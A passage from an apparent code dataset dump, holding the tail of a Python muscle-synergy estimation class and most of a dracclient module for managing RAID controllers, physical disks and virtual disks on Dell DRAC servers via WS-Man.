self.initialization_scale = 1.\n\n self.check_shapes()\n self.W_est_stacked = np.random.uniform(\n 0,self.initialization_scale,size=(self.N,self.D,self.T))\n self.W_est_spread = util.spread(self.W_est_stacked)\n self.c_est = np.random.uniform(\n 0,self.initialization_scale,size=(self.S,self.N))\n self.delays = np.zeros_like(self.c_est) #******** change this\n\n self.construct_Theta()\n self.update_H()\n\n self.M_est_spread = self.W_est_spread.dot(self.H_spread)\n self.M_est_stacked = util.stack(self.M_est_spread,2*self.T)\n\n def check_shapes(self): #******** this should be more thorough\n if np.shape(self.M_stacked) != (self.S,self.D,2*self.T):\n raise Exception('M_stacked is not SxDxT, it is shape '+str(np.shape(self.M_stacked)))\n\n def compute_total_sum_squares(self):\n return np.sum(np.square(self.M_stacked-np.mean(self.M_stacked)))\n\n def compute_squared_error(self):\n #Returns the sum squared error across episodes as defined at the top of section 3\n #Aka residual sum of squares\n #This needs to be phased out--switch to the trace version with M-WH\n # error = np.zeros((self.S,self.T))\n # for s in range(self.S):\n # for t in range(self.T):\n # entries_by_d = self.M_stacked[s,:,t]-np.sum(\n # self.W_est_stacked[:,:,t]*self.c_est[s,:][:,None],axis=0)\n # error[s,t] = np.sum(np.square(entries_by_d))\n # return np.sum(error)\n diff = self.M_spread-self.W_est_spread.dot(self.H_spread)\n return np.trace(np.dot(diff.T,diff))\n\n def compute_R2(self):\n SS_res = self.compute_squared_error() #*****change this to have actual shifts\n return (1. - (SS_res/self.SS_tot))\n\n def update_M_est(self): #********** this doesn't have t capacities yet\n self.M_est_spread = self.W_est_spread.dot(self.H_spread)\n self.M_est_stacked = util.stack(self.M_est_spread,2*self.T)\n\n def compute_phi_s_i(self,M_temp,t,i,s,debug=False):\n summand = 0\n #want to shift W by t according to convention specified in 3.1 (i)\n W_t = substeps.shift_matrix_columns_2(t,self.W_est_stacked[i,:,:],2*self.T)\n for tao in range(2*self.T):\n summand += np.dot(M_temp[s,:,tao],W_t[:,tao]) #synergies W are indexed by i = 1,2,...,N muscles j = 1,2,...D column is the time\n if debug&(s==0):\n df = plt.figure(999)\n for d in range(self.D):\n plt.subplot(self.D,1,d+1)\n plt.plot(W_t[d,:],label='shifted W')\n plt.plot(M_temp[s,d,:],label='M')\n plt.ylim([0,1])\n plt.legend()\n plt.text(0.5,1,'CC value: '+str(summand),transform=df.transFigure)\n plt.show()\n plt.pause(.001)\n plt.clf()\n return summand\n\n def update_delays(self,debug=False):\n for s in range(self.S):\n M_copy = np.copy(self.M_stacked)\n synergy_list = list(range(self.N))\n for synergy_step in range(self.N):\n phi_s_is = np.zeros((len(synergy_list),3*self.T-1))\n ts = range(1-self.T,2*self.T)\n for i,synergy in enumerate(synergy_list):\n for delay_index,t in enumerate(ts):\n phi_s_is[i,delay_index] = self.compute_phi_s_i(\n M_copy,t,synergy,s,debug=debug)\n max_synergy_index,max_delay_index = np.unravel_index(\n np.argmax(phi_s_is),np.shape(phi_s_is))\n max_synergy = synergy_list[max_synergy_index]\n max_delay = range(1-self.T,2*self.T)[max_delay_index]\n shifted_max_synergy = substeps.shift_matrix_columns_2(\n max_delay,self.W_est_stacked[max_synergy,:,:],2*self.T)\n if debug:\n plt.figure(999)\n plt.text(0.5,1.,'max t: '+str(max_delay),transform=plt.gcf().transFigure)\n for d in range(self.D):\n plt.subplot(self.D,1,d+1)\n plt.plot(shifted_max_synergy[d,:],label='shifted W')\n plt.plot(M_copy[s,d,:],label='M')\n raw_input(' ')\n\n\n #Original scaling attempt\n scaled_shifted_max_synergy = self.c_est[s,max_synergy]*shifted_max_synergy\n M_copy[s,:,:] -= scaled_shifted_max_synergy\n #This is the piece where we assume we make M nonnegative\n M_copy[M_copy<0] =0.\n synergy_list.remove(max_synergy)\n self.delays[s,max_synergy] = int(max_delay)\n\n def construct_Theta(self):\n N = self.N\n T = self.T\n Theta = np.zeros((N,3*T-1,N*T,2*T)) #shape of each Theta_i(t) is N*T x 2*T\n for i in range(1,N+1):\n for t in range(1-T,2*T):\n rows,columns = np.indices((N*T,2*T))\n to_fill = (rows+1-(i-1)*T)==(columns+1-t)\n to_fill[0:(i-1)*T,:] = 0.\n to_fill[i*T:,:] = 0.\n Theta[i-1,util.t_shift_to_index(t,T),:,:] = to_fill\n self.Theta = Theta\n\n def update_H(self):\n H = np.zeros((self.S,self.N*self.T,2*self.T))\n for s in range(self.S):\n H[s,:,:] = np.sum(self.c_est[s,:][:,None,None]*\\\n np.array([self.Theta[i,util.t_shift_to_index(\n self.delays[s,i], self.T),:,:] for i in range(self.N)]),axis=0)\n self.H_stacked = H\n self.H_spread = np.concatenate(H,axis=1)\n\n def update_c_est(self,scale=1,regress=False):\n if regress:\n #For regression, shape M to (TxD), for each episode (so S x (TxD))\n #(reshape by going through each muscle and then to next)\n M_flat = np.reshape(self.M_stacked,(self.S,self.T*self.D))\n #Each column of predictor is one synergy, shape (TxD)\n #predictor has N columns\n W_flat = np.reshape(self.W_est_stacked,(self.N,self.T*self.D)).T\n #loop through and do a regression for each episode\n for s in range(self.S):\n self.c_est[s,:],_ = scipy.optimize.nnls(W_flat,M_flat[s,:])\n else:\n mult_factor = np.zeros_like(self.c_est)\n for s in range(self.S):\n for i in range(self.N):\n Theta_i_tis = self.Theta[i,util.t_shift_to_index(self.delays[s,i],self.T),:,:]\n num = np.trace((self.M_stacked[s,:,:].T).dot(self.W_est_spread).dot(Theta_i_tis))\n denom = np.trace((self.H_stacked[s,:,:].T).dot(\n self.W_est_spread.T).dot(self.W_est_spread).dot(Theta_i_tis))\n mult_factor[s,i] = num/denom\n self.c_est = self.c_est*scale*mult_factor\n\n def update_W_est(self,scale=1,normalize=False):\n zeros = (self.W_est_spread.dot(self.H_spread).dot(self.H_spread.T)==0)\n nonzero_indices = np.logical_not(zeros)\n mult_factor = scale*np.dot(self.M_spread,self.H_spread.T)/(\n self.W_est_spread.dot(self.H_spread).dot(self.H_spread.T))\n self.W_est_spread[nonzero_indices] = self.W_est_spread[\n nonzero_indices]*mult_factor[nonzero_indices]\n if normalize:\n self.W_est_spread = util.normalize(self.W_est_spread)\n self.W_est_stacked = util.stack(self.W_est_spread,self.T)\n","sub_path":"muscle_synergies/synergy_estimators.py","file_name":"synergy_estimators.py","file_ext":"py","file_size_in_byte":9357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"624026233","text":"#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport collections\nimport logging\n\nfrom dracclient import constants\nfrom dracclient import exceptions\nfrom dracclient.resources import uris\nfrom dracclient import utils\nfrom dracclient import wsman\n\n\nLOG = logging.getLogger(__name__)\n\nRAID_LEVELS = {\n 'non-raid': '1',\n '0': '2',\n '1': '4',\n '5': '64',\n '6': '128',\n '1+0': '2048',\n '5+0': '8192',\n '6+0': '16384',\n}\n\nREVERSE_RAID_LEVELS = dict((v, k) for (k, v) in RAID_LEVELS.items())\n\nDISK_RAID_STATUS = {\n '0': 'unknown',\n '1': 'ready',\n '2': 'online',\n '3': 'foreign',\n '4': 'offline',\n '5': 'blocked',\n '6': 'failed',\n '7': 'degraded',\n '8': 'non-RAID',\n '9': 'missing'\n}\n\nVIRTUAL_DISK_PENDING_OPERATIONS = {\n '0': None,\n '1': 'fast_init',\n '2': 'pending_delete',\n '3': 'pending_create'\n}\n\nPHYSICAL_DISK_MEDIA_TYPE = {\n '0': 'hdd',\n '1': 'ssd'\n}\n\nPHYSICAL_DISK_BUS_PROTOCOL = {\n '0': 'unknown',\n '1': 'scsi',\n '2': 'pata',\n '3': 'fibre',\n '4': 'usb',\n '5': 'sata',\n '6': 'sas'\n}\n\nPhysicalDiskTuple = collections.namedtuple(\n 'PhysicalDisk',\n ['id', 'description', 'controller', 'manufacturer', 'model', 'media_type',\n 'interface_type', 'size_mb', 'free_size_mb', 'serial_number',\n 'firmware_version', 'status', 'raid_status'])\n\n\nclass PhysicalDisk(PhysicalDiskTuple):\n\n def __new__(cls, **kwargs):\n if 'state' in kwargs:\n LOG.warning('PhysicalDisk.state is deprecated. '\n 'Use PhysicalDisk.status instead.')\n kwargs['status'] = kwargs['state']\n del kwargs['state']\n\n if 'raid_state' in kwargs:\n LOG.warning('PhysicalDisk.raid_state is deprecated. '\n 'Use PhysicalDisk.raid_status instead.')\n kwargs['raid_status'] = kwargs['raid_state']\n del kwargs['raid_state']\n\n return super(PhysicalDisk, cls).__new__(cls, **kwargs)\n\n @property\n def state(self):\n LOG.warning('PhysicalDisk.state is deprecated. '\n 'Use PhysicalDisk.status instead.')\n return self.status\n\n @property\n def raid_state(self):\n LOG.warning('PhysicalDisk.raid_state is deprecated. '\n 'Use PhysicalDisk.raid_status instead.')\n return self.raid_status\n\nRAIDController = collections.namedtuple(\n 'RAIDController', ['id', 'description', 'manufacturer', 'model',\n 'primary_status', 'firmware_version'])\n\nVirtualDiskTuple = collections.namedtuple(\n 'VirtualDisk',\n ['id', 'name', 'description', 'controller', 'raid_level', 'size_mb',\n 'status', 'raid_status', 'span_depth', 'span_length',\n 'pending_operations', 'physical_disks'])\n\n\nclass VirtualDisk(VirtualDiskTuple):\n\n def __new__(cls, **kwargs):\n if 'state' in kwargs:\n LOG.warning('VirtualDisk.state is deprecated. '\n 'Use VirtualDisk.status instead.')\n kwargs['status'] = kwargs['state']\n del kwargs['state']\n\n if 'raid_state' in kwargs:\n LOG.warning('VirtualDisk.raid_state is deprecated. '\n 'Use VirtualDisk.raid_status instead.')\n kwargs['raid_status'] = kwargs['raid_state']\n del kwargs['raid_state']\n\n return super(VirtualDisk, cls).__new__(cls, **kwargs)\n\n @property\n def state(self):\n LOG.warning('VirtualDisk.state is deprecated. '\n 'Use VirtualDisk.status instead.')\n return self.status\n\n @property\n def raid_state(self):\n LOG.warning('VirtualDisk.raid_state is deprecated. '\n 'Use VirtualDisk.raid_status instead.')\n return self.raid_status\n\n\nclass RAIDManagement(object):\n\n def __init__(self, client):\n \"\"\"Creates RAIDManagement object\n\n :param client: an instance of WSManClient\n \"\"\"\n self.client = client\n\n def list_raid_settings(self, by_name=True):\n \"\"\"Returns the list of RAID controllers\n\n :returns: a list of RAIDController objects\n :raises: WSManRequestFailure on request failures\n :raises: WSManInvalidResponse when receiving invalid response\n :raises: DRACOperationFailed on error reported back by the DRAC\n interface\n \"\"\"\n\n result = {}\n namespaces = [(uris.DCIM_RAIDEnumeration, RAIDEnumerableAttribute),\n (uris.DCIM_RAIDString, RAIDStringAttribute),\n (uris.DCIM_RAIDInteger, RAIDIntegerAttribute)]\n for (namespace, attr_cls) in namespaces:\n attribs = self._get_config(namespace, attr_cls, by_name)\n if not set(result).isdisjoint(set(attribs)):\n raise exceptions.DRACOperationFailed(\n drac_messages=('Colliding attributes %r' % (\n set(result) & set(attribs))))\n result.update(attribs)\n return result\n\n def _get_config(self, resource, attr_cls, by_name):\n result = {}\n\n doc = self.client.enumerate(resource)\n items = doc.find('.//{%s}Items' % wsman.NS_WSMAN)\n\n for item in items:\n attribute = attr_cls.parse(item)\n if by_name:\n result[attribute.name] = attribute\n else:\n result[attribute.instance_id] = attribute\n\n return result\n\n def set_raid_settings(self, target, new_settings):\n \"\"\"Sets the raid configuration\n\n To be more precise, it sets the pending_value parameter for each of the\n attributes passed in. For the values to be applied, a config job must\n be created and the node must be rebooted.\n\n :param new_settings: a dictionary containing the proposed values, with\n each key being the name of attribute and the\n value being the proposed value.\n :returns: a dictionary containing the commit_needed key with a boolean\n value indicating whether a config job must be created for the\n values to be applied.\n :raises: WSManRequestFailure on request failures\n :raises: WSManInvalidResponse when receiving invalid response\n :raises: DRACOperationFailed on error reported back by the DRAC\n interface\n :raises: DRACUnexpectedReturnValue on return value mismatch\n :raises: InvalidParameterValue on invalid raid attribute\n \"\"\"\n\n current_settings = self.list_raid_settings(by_name=True)\n # raid settings are returned as dict indexed by InstanceID.\n # However DCIM_RAIDService requires attribute name, not instance id\n # so recreate this as a dict indexed by attribute name\n # TODO(anish) : Enable this code if/when by_name gets deprecated\n # raid_settings = self.list_raid_settings(by_name=False)\n # current_settings = dict((value.name, value)\n # for key, value in raid_settings.items())\n unknown_keys = set(new_settings) - set(current_settings)\n if unknown_keys:\n msg = ('Unknown raid attributes found: %(unknown_keys)r' %\n {'unknown_keys': unknown_keys})\n raise exceptions.InvalidParameterValue(reason=msg)\n\n read_only_keys = []\n unchanged_attribs = []\n invalid_attribs_msgs = []\n attrib_names = []\n candidates = set(new_settings)\n\n for attr in candidates:\n if str(new_settings[attr]) == str(\n current_settings[attr].current_value):\n unchanged_attribs.append(attr)\n elif current_settings[attr].read_only:\n read_only_keys.append(attr)\n else:\n validation_msg = current_settings[attr].validate(\n new_settings[attr])\n if validation_msg is None:\n attrib_names.append(attr)\n else:\n invalid_attribs_msgs.append(validation_msg)\n\n if unchanged_attribs:\n LOG.warning('Ignoring unchanged raid attributes: %r',\n unchanged_attribs)\n\n if invalid_attribs_msgs or read_only_keys:\n if read_only_keys:\n read_only_msg = ['Cannot set read-only raid attributes: %r.'\n % read_only_keys]\n else:\n read_only_msg = []\n\n drac_messages = '\\n'.join(invalid_attribs_msgs + read_only_msg)\n raise exceptions.DRACOperationFailed(\n drac_messages=drac_messages)\n\n if not attrib_names:\n return {'commit_required': False}\n\n selectors = {'CreationClassName': 'DCIM_RAIDService',\n 'Name': 'DCIM:RAIDService',\n 'SystemCreationClassName': 'DCIM_ComputerSystem',\n 'SystemName': 'DCIM:ComputerSystem'}\n properties = {'Target': target,\n 'AttributeName': attrib_names,\n 'AttributeValue': [new_settings[attr] for attr\n in attrib_names]}\n doc = self.client.invoke(uris.DCIM_RAIDService, 'SetAttributes',\n selectors, properties)\n\n return {'commit_required': utils.is_reboot_required(\n doc, uris.DCIM_RAIDService)}\n\n\n def list_raid_controllers(self):\n \"\"\"Returns the list of RAID controllers\n\n :returns: a list of RAIDController objects\n :raises: WSManRequestFailure on request failures\n :raises: WSManInvalidResponse when receiving invalid response\n :raises: DRACOperationFailed on error reported back by the DRAC\n interface\n \"\"\"\n\n doc = self.client.enumerate(uris.DCIM_ControllerView)\n\n drac_raid_controllers = utils.find_xml(doc, 'DCIM_ControllerView',\n uris.DCIM_ControllerView,\n find_all=True)\n\n return [self._parse_drac_raid_controller(controller)\n for controller in drac_raid_controllers]\n\n\n def _parse_drac_raid_controller(self, drac_controller):\n return RAIDController(\n id=self._get_raid_controller_attr(drac_controller, 'FQDD'),\n description=self._get_raid_controller_attr(\n drac_controller, 'DeviceDescription'),\n manufacturer=self._get_raid_controller_attr(\n drac_controller, 'DeviceCardManufacturer'),\n model=self._get_raid_controller_attr(\n drac_controller, 'ProductName'),\n primary_status=constants.PRIMARY_STATUS[\n self._get_raid_controller_attr(drac_controller,\n 'PrimaryStatus')],\n firmware_version=self._get_raid_controller_attr(\n drac_controller, 'ControllerFirmwareVersion'))\n\n def _get_raid_controller_attr(self, drac_controller, attr_name):\n return utils.get_wsman_resource_attr(\n drac_controller, uris.DCIM_ControllerView, attr_name,\n nullable=True)\n\n def list_virtual_disks(self):\n \"\"\"Returns the list of virtual disks\n\n :returns: a list of VirtualDisk objects\n :raises: WSManRequestFailure on request failures\n :raises: WSManInvalidResponse when receiving invalid response\n :raises: DRACOperationFailed on error reported back by the DRAC\n interface\n \"\"\"\n\n doc = self.client.enumerate(uris.DCIM_VirtualDiskView)\n\n drac_virtual_disks = utils.find_xml(doc, 'DCIM_VirtualDiskView',\n uris.DCIM_VirtualDiskView,\n find_all=True)\n\n return [self._parse_drac_virtual_disk(disk)\n for disk in drac_virtual_disks]\n\n def _parse_drac_virtual_disk(self, drac_disk):\n fqdd = self._get_virtual_disk_attr(drac_disk, 'FQDD')\n drac_raid_level = self._get_virtual_disk_attr(drac_disk, 'RAIDTypes')\n size_b = self._get_virtual_disk_attr(drac_disk, 'SizeInBytes')\n drac_status = self._get_virtual_disk_attr(drac_disk, 'PrimaryStatus')\n drac_raid_status = self._get_virtual_disk_attr(drac_disk, 'RAIDStatus')\n drac_pending_operations = self._get_virtual_disk_attr(\n drac_disk, 'PendingOperations')\n\n return VirtualDisk(\n id=fqdd,\n name=self._get_virtual_disk_attr(drac_disk, 'Name',\n nullable=True),\n description=self._get_virtual_disk_attr(drac_disk,\n 'DeviceDescription',\n nullable=True),\n controller=fqdd.split(':')[-1],\n raid_level=REVERSE_RAID_LEVELS[drac_raid_level],\n size_mb=int(size_b) / 2 ** 20,\n status=constants.PRIMARY_STATUS[drac_status],\n raid_status=DISK_RAID_STATUS[drac_raid_status],\n span_depth=int(self._get_virtual_disk_attr(drac_disk,\n 'SpanDepth')),\n span_length=int(self._get_virtual_disk_attr(drac_disk,\n 'SpanLength')),\n pending_operations=(\n VIRTUAL_DISK_PENDING_OPERATIONS[drac_pending_operations]),\n physical_disks=self._get_virtual_disk_attrs(drac_disk,\n 'PhysicalDiskIDs'))\n\n def _get_virtual_disk_attr(self, drac_disk, attr_name, nullable=False):\n return utils.get_wsman_resource_attr(\n drac_disk, uris.DCIM_VirtualDiskView, attr_name,\n nullable=nullable)\n\n def _get_virtual_disk_attrs(self, drac_disk, attr_name):\n return utils.get_all_wsman_resource_attrs(\n drac_disk, uris.DCIM_VirtualDiskView, attr_name, nullable=False)\n\n def list_physical_disks(self):\n \"\"\"Returns the list of physical disks\n\n :returns: a list of PhysicalDisk objects\n :raises: WSManRequestFailure on request failures\n :raises: WSManInvalidResponse when receiving invalid response\n :raises: DRACOperationFailed on error reported back by the DRAC\n interface\n \"\"\"\n\n doc = self.client.enumerate(uris.DCIM_PhysicalDiskView)\n\n drac_physical_disks = utils.find_xml(doc, 'DCIM_PhysicalDiskView',\n uris.DCIM_PhysicalDiskView,\n find_all=True)\n\n return [self._parse_drac_physical_disk(disk)\n for disk in drac_physical_disks]\n\n def _parse_drac_physical_disk(self, drac_disk):\n fqdd = self._get_physical_disk_attr(drac_disk, 'FQDD')\n size_b = self._get_physical_disk_attr(drac_disk, 'SizeInBytes')\n free_size_b = self._get_physical_disk_attr(drac_disk,\n 'FreeSizeInBytes')\n drac_status = self._get_physical_disk_attr(drac_disk, 'PrimaryStatus')\n drac_raid_status = self._get_physical_disk_attr(drac_disk,\n 'RaidStatus')\n drac_media_type = self._get_physical_disk_attr(drac_disk, 'MediaType')\n drac_bus_protocol = self._get_physical_disk_attr(drac_disk,\n 'BusProtocol')\n\n return PhysicalDisk(\n id=fqdd,\n description=self._get_physical_disk_attr(drac_disk,\n 'DeviceDescription'),\n controller=fqdd.split(':')[-1],\n manufacturer=self._get_physical_disk_attr(drac_disk,\n 'Manufacturer'),\n model=self._get_physical_disk_attr(drac_disk, 'Model'),\n media_type=PHYSICAL_DISK_MEDIA_TYPE[drac_media_type],\n interface_type=PHYSICAL_DISK_BUS_PROTOCOL[drac_bus_protocol],\n size_mb=int(size_b) / 2 ** 20,\n free_size_mb=int(free_size_b) / 2 ** 20,\n serial_number=self._get_physical_disk_attr(drac_disk,\n 'SerialNumber'),\n firmware_version=self._get_physical_disk_attr(drac_disk,\n 'Revision'),\n status=constants.PRIMARY_STATUS[drac_status],\n raid_status=DISK_RAID_STATUS[drac_raid_status])\n\n def _get_physical_disk_attr(self, drac_disk, attr_name):\n return utils.get_wsman_resource_attr(\n drac_disk, uris.DCIM_PhysicalDiskView, attr_name, nullable=True)\n\n def convert_physical_disks(self, physical_disks, raid_enable):\n \"\"\"Converts a list of physical disks into or out of RAID mode.\n\n Disks can be enabled or disabled for RAID mode.\n\n :param physical_disks: list of FQDD ID strings of the physical disks\n to update\n :param raid_enable: boolean flag, set to True if the disk is to\n become part of the RAID. The same flag is applied to all\n listed disks\n :returns: a dictionary containing the commit_needed key with a boolean\n value indicating whether a config job must be created for the\n values to be applied.\n \"\"\"\n invocation = 'ConvertToRAID' if raid_enable else 'ConvertToNonRAID'\n\n selectors = {'SystemCreationClassName': 'DCIM_ComputerSystem',\n 'CreationClassName': 'DCIM_RAIDService',\n 'SystemName': 'DCIM:ComputerSystem',\n 'Name': 'DCIM:RAIDService'}\n\n properties = {'PDArray': physical_disks}\n\n doc = self.client.invoke(uris.DCIM_RAIDService, invocation,\n selectors, properties,\n expected_return_value=utils.RET_SUCCESS)\n\n return {'commit_required':\n utils.is_reboot_required(doc, uris.DCIM_RAIDService)}\n\n def create_virtual_disk(self, raid_controller, physical_disks, raid_level,\n size_mb, disk_name=None, span_length=None,\n span_depth=None):\n \"\"\"Creates a virtual disk\n\n The created virtual disk will be in pending state. For the changes to\n be applied, a config job must be created and the node must be rebooted.\n\n :param raid_controller: id of the RAID controller\n :param physical_disks: ids of the physical disks\n :param raid_level: RAID level of the virtual disk\n :param size_mb: size of the virtual disk in megabytes\n :param disk_name: name of the virtual disk (optional)\n :param span_length: number of disks per span (optional)\n :param span_depth: number of spans in virtual disk (optional)\n :returns: a dictionary containing the commit_needed key with a boolean\n value indicating whether a config job must be created for the\n values to be applied.\n :raises: WSManRequestFailure on request failures\n :raises: WSManInvalidResponse when receiving invalid response\n :raises: DRACOperationFailed on error reported back by the DRAC\n interface\n :raises: DRACUnexpectedReturnValue on return value mismatch\n :raises: InvalidParameterValue on invalid input parameter\n \"\"\"\n\n virtual_disk_prop_names = []\n virtual_disk_prop_values = []\n error_msgs = []\n\n # RAID controller validation\n if not raid_controller:\n error_msgs.append(\"'raid_controller' is not supplied\")\n\n # physical disks validation\n if not physical_disks:\n error_msgs.append(\"'physical_disks' is not supplied\")\n\n # size validation\n if not size_mb:\n error_msgs.append(\"'size_mb' is not supplied\")\n else:\n utils.validate_integer_value(size_mb, 'size_mb', error_msgs)\n\n virtual_disk_prop_names.append('Size')\n virtual_disk_prop_values.append(str(size_mb))\n\n # RAID level validation\n virtual_disk_prop_names.append('RAIDLevel')\n try:\n virtual_disk_prop_values.append(RAID_LEVELS[str(raid_level)])\n except KeyError:\n error_msgs.append(\"'raid_level' is invalid\")\n\n if disk_name is not None:\n virtual_disk_prop_names.append('VirtualDiskName')\n virtual_disk_prop_values.append(disk_name)\n\n if span_depth is not None:\n utils.validate_integer_value(span_depth, 'span_depth', error_msgs)\n\n virtual_disk_prop_names.append('SpanDepth')\n virtual_disk_prop_values.append(str(span_depth))\n\n if span_length is not None:\n utils.validate_integer_value(span_length, 'span_length',\n error_msgs)\n\n virtual_disk_prop_names.append('SpanLength')\n virtual_disk_prop_values.append(str(span_length))\n\n if error_msgs:\n msg = ('The following errors were encountered while parsing '\n 'the provided parameters: %r') % ','.join(error_msgs)\n raise exceptions.InvalidParameterValue(reason=msg)\n\n selectors = {'SystemCreationClassName': 'DCIM_ComputerSystem',\n 'CreationClassName': 'DCIM_RAIDService',\n 'SystemName': 'DCIM:ComputerSystem',\n 'Name': 'DCIM:RAIDService'}\n properties = {'Target': raid_controller,\n 'PDArray': physical_disks,\n 'VDPropNameArray': virtual_disk_prop_names,\n 'VDPropValueArray': virtual_disk_prop_values}\n doc = self.client.invoke(uris.DCIM_RAIDService, 'CreateVirtualDisk',\n selectors, properties,\n expected_return_value=utils.RET_SUCCESS)\n\n return {'commit_required': utils.is_reboot_required(\n doc, uris.DCIM_RAIDService)}\n\n def delete_virtual_disk(self, virtual_disk):\n \"\"\"Deletes a virtual disk\n\n The deleted virtual disk will be in pending state. For the changes to\n be applied, a config job must be created and the node must be rebooted.\n\n :param virtual_disk: id of the virtual disk\n :returns: a dictionary containing the commit_needed key with a boolean\n value indicating whether a config job must be created for the\n values to be applied.\n :raises: WSManRequestFailure on request failures\n :raises: WSManInvalidResponse when receiving invalid response\n :raises: DRACOperationFailed on error reported back by the DRAC\n interface\n :raises: DRACUnexpectedReturnValue on return value mismatch\n \"\"\"\n\n selectors = {'SystemCreationClassName': 'DCIM_ComputerSystem',\n 'CreationClassName': 'DCIM_RAIDService',\n 'SystemName': 'DCIM:ComputerSystem',\n 'Name': 'DCIM:RAIDService'}\n properties = {'Target': virtual_disk}\n\n doc = self.client.invoke(uris.DCIM_RAIDService, 'DeleteVirtualDisk',\n selectors, properties,\n expected_return_value=utils.RET_SUCCESS)\n\n return {'commit_required': utils.is_reboot_required(\n doc, uris.DCIM_RAIDService)}\n\n\nclass RAIDAttribute(object):\n \"\"\"Generic RAID attribute class\"\"\"\n\n def __init__(self, name, instance_id, current_value, pending_value,\n read_only):\n \"\"\"Creates RAIDAttribute object\n\n :param name: name of the RAID attribute\n :param instance_id: opaque and unique identifier of the RAID attribute\n :param current_value: current value of the RAID attribute\n :param pending_value: pending value of the RAID attribute, reflecting\n an unprocessed change (eg. config job not completed)\n :param read_only: indicates whether this RAID attribute can be changed\n \"\"\"\n self.name = name\n self.instance_id = instance_id\n self.current_value = current_value\n self.pending_value = pending_value\n self.read_only = read_only\n\n def __eq__(self, other):\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n @classmethod\n def parse(cls, namespace, RAID_attr_xml):\n \"\"\"Parses XML and creates RAIDAttribute object\"\"\"\n\n name = utils.get_wsman_resource_attr(\n RAID_attr_xml, namespace, 'AttributeName')\n instance_id = utils.get_wsman_resource_attr(\n RAID_attr_xml, namespace, 'InstanceID')\n current_value = utils.get_wsman_resource_attr(\n RAID_attr_xml, namespace, 'CurrentValue', nullable=True)\n pending_value = utils.get_wsman_resource_attr(\n RAID_attr_xml, namespace, 'PendingValue', nullable=True)\n read_only = utils.get_wsman_resource_attr(\n RAID_attr_xml, namespace, 'IsReadOnly')\n\n return cls(name, instance_id, current_value, pending_value,\n (read_only == 'true'))\n\n\n\n\nclass RAIDEnumerableAttribute(RAIDAttribute):\n \"\"\"Enumerable RAID attribute class\"\"\"\n\n namespace = uris.DCIM_RAIDEnumeration\n\n def __init__(self, name, instance_id, current_value, pending_value,\n read_only, possible_values):\n \"\"\"Creates RAIDEnumerableAttribute object\n\n :param name: name of the RAID attribute\n :param current_value: current value of the RAID attribute\n :param pending_value: pending value of the RAID attribute, reflecting\n an unprocessed change (eg. config job not completed)\n :param read_only: indicates whether this RAID attribute can be changed\n :param possible_values: list containing the allowed values for the RAID\n attribute\n \"\"\"\n super(RAIDEnumerableAttribute, self).__init__(name, instance_id,\n current_value,\n pending_value, read_only)\n self.possible_values = possible_values\n\n @classmethod\n def parse(cls, raid_attr_xml):\n \"\"\"Parses XML and creates RAIDEnumerableAttribute object\"\"\"\n\n raid_attr = RAIDAttribute.parse(cls.namespace, raid_attr_xml)\n possible_values = [attr.text for attr\n in utils.find_xml(raid_attr_xml, 'PossibleValues',\n cls.namespace, find_all=True)]\n\n return cls(raid_attr.name, raid_attr.instance_id,\n raid_attr.current_value, raid_attr.pending_value,\n raid_attr.read_only, possible_values)\n\n def validate(self, new_value):\n \"\"\"Validates new value\"\"\"\n\n if str(new_value) not in self.possible_values:\n msg = (\"Attribute '%(attr)s' cannot be set to value '%(val)s'.\"\n \" It must be in %(possible_values)r.\") % {\n 'attr': self.name,\n 'val': new_value,\n 'possible_values': self.possible_values}\n return msg\n\n\nclass RAIDStringAttribute(RAIDAttribute):\n \"\"\"String RAID attribute class\"\"\"\n\n namespace = uris.DCIM_RAIDString\n\n def __init__(self, name, instance_id, current_value, pending_value,\n read_only, min_length, max_length, pcre_regex):\n \"\"\"Creates RAIDStringAttribute object\n\n :param name: name of the RAID attribute\n :param current_value: current value of the RAID attribute\n :param pending_value: pending value of the RAID attribute, reflecting\n an unprocessed change (eg. config job not completed)\n :param read_only: indicates whether this RAID attribute can be changed\n :param min_length: minimum length of the string\n :param max_length: maximum length of the string\n :param pcre_regex: is a PCRE compatible regular expression that the\n string must match\n \"\"\"\n super(RAIDStringAttribute, self).__init__(name, instance_id,\n current_value, pending_value,\n read_only)\n self.min_length = min_length\n self.max_length = max_length\n self.pcre_regex = pcre_regex\n\n @classmethod\n def parse(cls, raid_attr_xml):\n \"\"\"Parses XML and creates RAIDStringAttribute object\"\"\"\n\n raid_attr = RAIDAttribute.parse(cls.namespace, raid_attr_xml)\n min_length = int(utils.get_wsman_resource_attr(\n raid_attr_xml, cls.namespace, 'MinLength'))\n max_length = int(utils.get_wsman_resource_attr(\n raid_attr_xml, cls.namespace, 'MaxLength'))\n pcre_regex = utils.get_wsman_resource_attr(\n raid_attr_xml, cls.namespace, 'ValueExpression', nullable=True)\n\n return cls(raid_attr.name, raid_attr.instance_id,\n raid_attr.current_value, raid_attr.pending_value,\n raid_attr.read_only, min_length, max_length, pcre_regex)\n\n def validate(self, new_value):\n \"\"\"Validates new value\"\"\"\n\n if self.pcre_regex is not None:\n regex = re.compile(self.pcre_regex)\n if regex.search(str(new_value)) is None:\n msg = (\"Attribute '%(attr)s' cannot be set to value '%(val)s.'\"\n \" It must match regex '%(re)s'.\") % {\n 'attr': self.name,\n 'val': new_value,\n 're': self.pcre_regex}\n return msg\n\n\nclass RAIDIntegerAttribute(RAIDAttribute):\n \"\"\"Integer RAID attribute class\"\"\"\n\n namespace = uris.DCIM_RAIDInteger\n\n def __init__(self, name, instance_id, current_value, pending_value,\n read_only, lower_bound, upper_bound):\n \"\"\"Creates RAIDIntegerAttribute object\n\n :param name: name of the RAID attribute\n :param current_value: current value of the RAID attribute\n :param pending_value: pending value of the RAID attribute, reflecting\n an unprocessed change (eg. config job not completed)\n :param read_only: indicates whether this RAID attribute can be changed\n :param lower_bound: minimum value for the RAID attribute\n :param upper_bound: maximum value for the RAID attribute\n \"\"\"\n super(RAIDIntegerAttribute, self).__init__(name, instance_id,\n 